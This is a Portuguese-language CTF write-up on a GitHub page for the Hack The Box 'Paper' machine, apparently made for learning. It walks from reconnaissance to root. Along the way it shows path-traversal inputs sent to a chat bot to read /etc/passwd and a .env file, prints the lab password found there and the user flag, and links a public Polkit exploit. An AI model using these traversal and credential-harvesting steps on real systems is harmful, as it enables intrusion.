Skip to content

valescaalvesc/HTB-PAPER-CTF

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 

Repository files navigation

HTB - PAPER - CTF

1- Conectar com a VPN e o lab do HTB

2- Iniciar a máquina para receber o IP

3- Acessar o IP no navegador, para começar a analisar

img1

Apenas uma página estática

​ 4- Utilizar o nmap para encontrar portas e serviços

​ nmap -sV IP

O -sV deixa você saber a versão do servidor. É importante saber a versão, pois algumas são exploráveis e outras não.

FTP - permite a transferência de arquivos para um servidor e também baixar arquivos de um servidor

SSH - permite a conexão com o terminal no servidor para ser capaz de realizar comandos e controlar qualquer servidor conectado

Resultado do nmap:

img2

Vamos utilizar o Gobuster para ver quais diretórios estão disponíveis.

img3

img4

Não obtivemos nenhuma resposta para isso. Sem diretórios disponíveis e apenas sabemos as portas abertas.

Para tentar saber mais informações, vamos tentar usar o comendo curl -I 10.10.11.143 para saber mais especificações do IP (curl - Client URL, verificar a conectividade da URL e transferência de dados)

img5

Tivemos algum retorno positivo: Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 X-Backend-Server: office.paper

As duas informações são interessantes. Saber a versão do software e o 'office.paper' pode ser analisado no navegador. Para que isso funcione, precisamos adicionar essas informações em /etc/host

No terminal: sudo nano /etc/hosts

sudo vim /etc/hosts para conferir se realmente foi adicionado

Vamos acessar o office.paper e para isso precisamos adicionar um ?static=1 após a url:

http://office.paper/?static=1

img6

Conseguimos encontrar uma nova página.

​ Logo abaixo na página, encontramos algumas mensagens:

img7

Observando o código fonte da página nós podemos perceber que o site foi feito usando WordPress:

img8

Clicar com o botão direito e ir em "View Page Info" para saber a versão: WordPress 5.2.3

img9

img10

Agora, sabendo a versão, vamos pesquisar vulnerabilidades no WordPress 5.2.3 No site https://wpscan.com/wordpress/523 vamos pesquisar por algo relacionado a postagens, comentários, publicações de usuários. https://wpscan.com/vulnerability/9909 Há uma vulnerabilidade que deixa qualquer usuário ver publicações privadas ou que ainda não foram ou nem vão ser publicadas apenas ao adicionar o ?static=1. Como já estamos com o ?static=1 adicionado, vamos analisar o link do chat apresentado na página. Para que possamos abrir o link é necessário adicionar no /etc/host

Após isso, vamos criar uma conta no chat e entrar e 'General'. Vamos explorar o chat e tentar encontrar algo. img11 img12 img13

'recyclops' é um bot que permite que a gente mande mensagens diretas ao clicar nele e depois clicar no ícone de mensagem, ou seja, ele permite Local File Inclusion (que seria a inclusão de um arquivo via parâmetro GET e não faz o devido tratamento da entrada do usuário, permitindo assim que ele inclua qualquer arquivo do sistema.)

img14 img15 img16

Como temos o chat do bot aberto, vamos testar e ver se ele aceita alguns comandos:

ls (não recomhece)

img17

Como ele permite o LFI, vamos testar o comendo 'file'

img18

list (obtemos resposta):

img19

etching the directory listing of /sales/ (algo relacionado ao diretório 'sales') total 0 drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 . drwx------ 11 dwight dwight 281 Feb 6 07:46 .. drwxr-xr-x 2 dwight dwight 27 Sep 15 2021 sale drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2

Vamos explorar mais o uso do 'list' para tentar obter mais informações:

list .

img20

list ..

img21

list ../

img22

E temos bons resultados. Agora, com essas informações será importante usar o 'file'

file ../user.txt e nosso acesso foi negado... img23

list ../hubot temos algum resultado. Analisando o que apareceu ao realizar essa consulta, percebemos que há um arquivo com extensões: .env; .git; .log

img24

.env = https://blog.rocketseat.com.br/variaveis-ambiente-nodejs/

img25

Essa é a ferramenta utilizada para orquestrar as variáveis ambiente de um projeto. O nome dela sugere o arquivo em que as informações ficarão, dot que é ponto em inglês acrescido de env, então temos o arquivo .env que é composto de chaves e valores.

Uma curiosidade é que em sistemas baseados em unix arquivos que iniciam com . são ocultos, talvez seja uma sugestão da tarefa desse arquivo.

"ARQUIVOS OCULTOS" - algo interessante para a jornada. Vamos adicionar o .env na pesquisa do bot e ver o que acontece.

file ../hubot/.env

img26

TEMOS UM NOME DE USUÁRIO E UMA SENHA!

<!=====Contents of file ../hubot/.env=====> export ROCKETCHAT_URL='http://127.0.0.1:48320' export ROCKETCHAT_USER=recyclops export ROCKETCHAT_PASSWORD=Queenofblad3s!23 export ROCKETCHAT_USESSL=false export RESPOND_TO_DM=true export RESPOND_TO_EDITED=true export PORT=8000 export BIND_ADDRESS=127.0.0.1 <!=====End of file ../hubot/.env=====>

Vamos utilizar de mais alguns comandos no bot para tentar achar um usuário real.

file ../../../etc/passwd

img27

/etc/passwd =

dwight❌1004:1004::/home/dwight:/bin/bash (tem acesso ao /bin/bash) (obs: quando estavamos testando o 'list' ali pra cima, o dwight apareceu, easter egg?)

/bin/bash = determina quem pode acessar o sistema e o que eles podem fazer dentro dele.

Podemos tentar entrar no sistema com essa informação utilizando ssh:

ssh = "O SSH é um protocolo que garante que cliente e servidor remoto troquem informações de maneira segura e dinâmica. O processo é capaz de criptografar os arquivos enviados ao diretório do servidor, garantindo que alterações e o envio de dados sejam realizados da melhor forma."

ssh dwight@10.10.11.143

Pronto! Vamos usar a senha encontrada para entrar no sistema. Eeeee estamos dentro do sistema.

img28

ls e vamos explorar os arquivos.

cat user.txt

img29

User flag: a1420ecdcce4046936751b79f8d95adb

PRIVILEGE ESCALATION = vamos escalar privilégios para poder entrar no sistema como root

Linpeas = Linux Local Privilege Escalation. Um script que busca por possíveis arquivos para escalar privilégios

Vamos rodar o Linpeas e checar se tem alguma vulnerabilidade:

Primeiro vamos clonar o repositório do Linpeas:

git clone https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

Após isso, vamos rodar: sh linpeas.sh

img30

Após rodar o linpeas, notamos que apareceram algumas vulnerabilidades possíveis, e a primeira foi:

img31

Pesquisando sobre a cve-2021-4034. Pesquisando sobre, percebemos que é uma vulnerabilidade de Pwnkit ou Polkit, que permite que usuários que não tem privilégios, executem certos comandos usando DBus (sistema de comunicação entre aplicações).

Um atacante com um usuário comum obtenha privilégios de root no sistema.

Pesquisando alguns scripts relacionados a essa cve para poder usar e "pegar o root", encontramos:

https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py

Vamos criar um arquivo e copiar o código desse link:

nano exploit.py

img32

E... somos ROOT!

img33 img34 img35

Flag root encontrada

Temos as 2 flags :)

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published